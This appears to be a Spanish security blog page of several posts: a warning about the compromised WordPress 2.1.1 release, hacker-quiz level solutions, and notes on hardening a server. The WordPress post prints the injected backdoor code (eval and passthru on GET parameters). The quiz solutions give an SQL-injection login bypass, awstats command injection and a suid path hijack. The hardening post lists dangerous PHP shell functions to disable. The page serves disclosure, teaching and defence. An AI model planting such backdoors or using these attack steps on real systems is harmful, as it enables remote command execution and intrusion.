Blog, IT Security

WordPress 2.1.1 Comprometido

Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de wordpress hay que actualizar inmeditamente a la version 2.1.2

El codigo injectado esta en estos dos ficheros:

  • wp-includes/feed.php
    function comment_text_phpfilter($filterdata) {
        eval($filterdata);
    }
    
    if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
    
  • wp-includes/theme.php
    function get_theme_mcommand($mcds) {
      passthru($mcds);
    }
    
    if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
    
Blog, GNU/Linux, IT Security

hacker::quiz

Ya ha acabado la bkp 7ª edicion, y para quien le interese aqui os cuelgo aqui el codigo del hacker::quiz de este año. Realmente es muy sencillo, pero aun asi os colgare las soluciones.

Descargar hacker::quiz

  • Level1
  • Aparentemente no parece que hay ningun error de programacion, pero si pruebas de buscar los .bak, *~… encuentras el fichero login.php~ y en el aparece la contraseña en md5. Con un cracker de md5 como por ejemplo lcrack. En pocos minutos saldra la contraseña del nivel.
  • Level2
  • Aqui hay que fijarse que en el codigo hay un “src=javascript” y que el codigo bueno esta en el fichero javascript. Aqui se una un algoritmo de encriptacion super sencillo, que se puede desencriptar facilmente cambiando la funcion generatePass para sacar la contraseña.
  • Level3
  • Este nivel es un formulario con sql injection super sencillo, cuando pones un ‘ el error cambia a “Error Sql”, por lo tanto con un sencillo “‘ OR 1=1 — a” te saltas la autenficiacion y pasas al siguiente nivel
  • Level4
  • En este nivel hay un applet java que gestiona la autentificacion. Descargando el .class y descompilandolo con un java decompiler tipo jad. Analizando el codigo ves que accede a un fichero del que saca el usuario y contraseña.
  • Level5
  • En este nivel, se puede ver que el formulario es multi-idioma, pero si cambias el parametro del idioma, intenta acceder a un fichero, por lo tanto, cuando pones “login/index” da un error de que no encuentra authdata.php, apuntas a ese fichero y te aparece el usuario y contraseña por pantalla
  • Level6
  • Aqui puedes ver que la autentificacion tiene unas estadisticas creadas con awstats, investigando un poco te das cuenta que la version de awstats es vulnerable a injeccion de comandos en la variable “configdir”. Haciendo un ls ves que hay un fichero “instructions-next-level.pl”, haciendole un simple “cat” se puede ver en los comentarios la contraseña
  • Level7
  • Aqui te dan una linea de un usuario de la maquina, al cual con por ejemplo “john the ripper” crackeas la contraseña y consigues acceso a la maquina. Una vez dentro de la maquina, buscando un poco te encuentras con un fichero “getsh” (el codigo fuente esta incluido en el fichero) con suid en “/opt/…/”. Analizando el fichero con un editor normal o un editor hexadecimal, encuentras el string “/opt/…/theshell”, y basta con copiar el fichero “mysh” a “theshell” y ejecutas el “getsh” y ya eres root.
Blog, IT Security

Congreso No Con Name 2006

El proximo jueves 28 de Septiembre tendra lugar en el Parc Bit el congreso de seguridad informatica No Con Name 2006 que este año cuenta con ponentes traidores de fuera de España y con conferencias muy interesantes. Las conferencias que se daran seran las siguientes:

  • Andrés Tarascó ( Madrid – SIA ) – Exploiting win32 design flaws
  • Ramón Pinuaga ( Murcia – S21sec ) – Auditoría en DB2 ( un enfoque práctico )
  • Jesús Olmos González ( Barcelona – Internet Sec. Auditors ) – Seguridad de Código mediante tecnología vírica
  • Ero Carrera ( Germany- Sabre-Security ) – Reverse Engineering Malware. The Analyst’s View.
  • Raoul Chiesa ( Italy – Telecom Security Task Force ) – Having fun with X.25 hacking
  • Cesar Cerrudo & Esteban Martinez ( Argentina – Argeniss ) – DataTheft. How databases are hacked and how to protect them
  • Angelo Rosiello ( Italy ) – Shadow Sofware attacks
  • Ollie Whitehouse ( U.K. – Symantec ) – Future Threat Analysis of Microsoft Windows CE 5
  • Shawn Merdinger ( USA ) – Hacking Wifi & Wired VoIP Phones
  • Alejandro Ramos ( Madrid – SIA ) – Presente: DNI-Electronico
Blog, IT Security

Hack-it de la Euskal Encounter 2006

Se ha publicado el Hack-it de este año para quien quiera jugar desde casa. Yo ya me lo he bajado para trastear un poco ;o)

He creado un mirror en binware. Los mirrors que hay son:

  • Hack-it, mirror universidad: TAR.GZ
  • Hack-it, mirror blog.txipinet.com (lento): TAR.GZ
  • Hack-it, mirror binware: TAR.GZ

Tambien se han publicado las soluciones del nivel 1 al 17

  • Solucion Hack-it: 1-5
  • Solucion Hack-it: 6-10
  • Solucion Hack-it: 11-15
  • Solucion Hack-it: 16-17
Blog, GNU/Linux, IT Security

Asegurando Server

Bueno, esta semana voy de dejar el servidor de hosting bien seguro. Ire poniendo todo lo que he ido haciendo. Por ahora tengo puesto unas cuantas cosas, pero como siempre la paranoia puede conmigo y no me parece suficientemente seguro ;P

Cosas instaladas:

  1. Portsentry
  2. Snort
  3. Firewall
  4. /tmp y /home montados con noexec,nosuid
    /dev/hda7       /tmp    ext3    defaults,noexec,nosuid                  0  2
    /dev/hda8       /home   ext3    defaults,noexec,nosuid                  0  2
  5. PHP en safe mode y con unas cuantes funciones peligrosas deshabilitadas
    
    ; Safe Mode
    ;
    safe_mode = On
    
    ; By default, Safe Mode does a UID compare check when
    ; opening files. If you want to relax this to a GID compare,
    ; then turn on safe_mode_gid.
    safe_mode_gid = Off
    
    ; This directive allows you to disable certain functions for security reasons.
    ; It receives a comma-delimited list of function names. This directive is
    ; *NOT* affected by whether Safe Mode is turned On or Off.
    disable_functions = phpinfo, system, shell_exec, proc_terminate, proc_open, proc_nice, proc_get_status, proc_close, passthru, exec, escapeshellcmd, escapeshellarg
    
    ; Whether or not to register the EGPCS variables as global variables.  You may
    ; want to turn this off if you don't want to clutter your scripts' global scope
    ; with user data.  This makes most sense when coupled with track_vars - in which
    ; case you can access all of the GPC variables through the $HTTP_*_VARS[],
    ; variables.
    ;
    ; You should do your best to write your scripts so that they do not require
    ; register_globals to be on;  Using form variables as globals can easily lead
    ; to possible security problems, if the code is not very well thought of.
    ;
    ; The default in PHP usptream is now "register_globals = Off".  The Debian package
    ; is patched for backward compatibility to default to "On", however this will NOT
    ; last forever.  You have been warned.
    register_globals = Off
  6. chmod 750 a algunos archivos importantes
    #!/bin/sh
    #Script to change permission for sensible dir and programs
    
    BINARY="/usr/bin/wget /usr/bin/lynx /usr/bin/lynx.stable /usr/bin/links /usr/bin/links.main /usr/bin/scp /usr/bin/ftp /etc/alternatives/ /root/ /usr/bin/gcc* /usr/bin/cc*"
    MODE=0750
    USER="root"
    
    for BIN in $BINARY; do
    chown $USER:$USER $BIN
    chmod $MODE $BIN
    done
  7. Tripwire
  8. … (seguro k me dejo algo)

Bueno, ire poniendo como tengo configurado lo que tenia antes. Seguramente muchas cosas no estan tan bien o no estan echas como deberian, pero ya se ira mejorando ;o)